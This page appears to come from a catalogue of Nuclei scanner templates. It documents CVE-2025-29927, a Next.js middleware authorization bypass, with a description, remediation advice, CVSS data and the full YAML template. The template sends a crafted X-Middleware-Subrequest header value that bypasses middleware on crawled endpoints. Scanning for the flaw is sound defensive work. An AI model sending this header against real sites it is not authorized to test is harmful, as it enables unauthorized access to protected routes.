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Next.js Middleware Bypass

ID: CVE-2025-29927

Severity: critical

Author: pdresearch,pdteam,hazedic

Tags: cve,cve2025,nextjs,middleware,auth-bypass

Description

Section titled “Description”

Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted’x-middleware-subrequest’ header, which can lead to authorization bypass and other security control circumvention.

YAML Source

Section titled “YAML Source”
id: CVE-2025-29927


info:
  name: Next.js Middleware Bypass
  author: pdresearch,pdteam,hazedic
  severity: critical
  description: |
    Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
    The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
    'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
    - https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/
  remediation: |
    Upgrade to Next.js 14.2.25 or 15.2.3 or later.
    If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cwe-id: CWE-287
  metadata:
    max-request: 1
    shodan-query: "x-middleware-rewrite"
    fofa-query: "x-middleware-rewrite"
    product: next.js
    vendor: zeit
  tags: cve,cve2025,nextjs,middleware,auth-bypass


flow: |
  http(1) && http(2)
  http(3)
  for(let endpoint_urls of iterate(template.endpoints)){
    set("endpoints", endpoint_urls)
    http(4) && http(5)
  }


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1


    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite"
        internal: true


      - type: status
        status:
          - 307
        internal: true


    extractors:
      - type: regex
        name: redirect_path
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"


  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1
        X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware


    matchers:
      - type: status
        status:
          - 200


  - method: GET
    path:
      - "{{BaseURL}}"


    redirects: true
    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true


  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"


    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
          - contains_any(to_lower(location), 'unauthorized') && status_code != 200
        internal: true


  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"


    matchers:
      - type: dsl
        dsl:
          - status_code == 200
# digest: 4a0a00473045022051e800c520fcf00b7f0050e96993989d1db4f07781f802343d7c9d48cfd0a4ef022100c7fd09758317142a1f379d597bfa2e8faa8a18008c21b54bd76eddab248f96f8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-29927.yaml"

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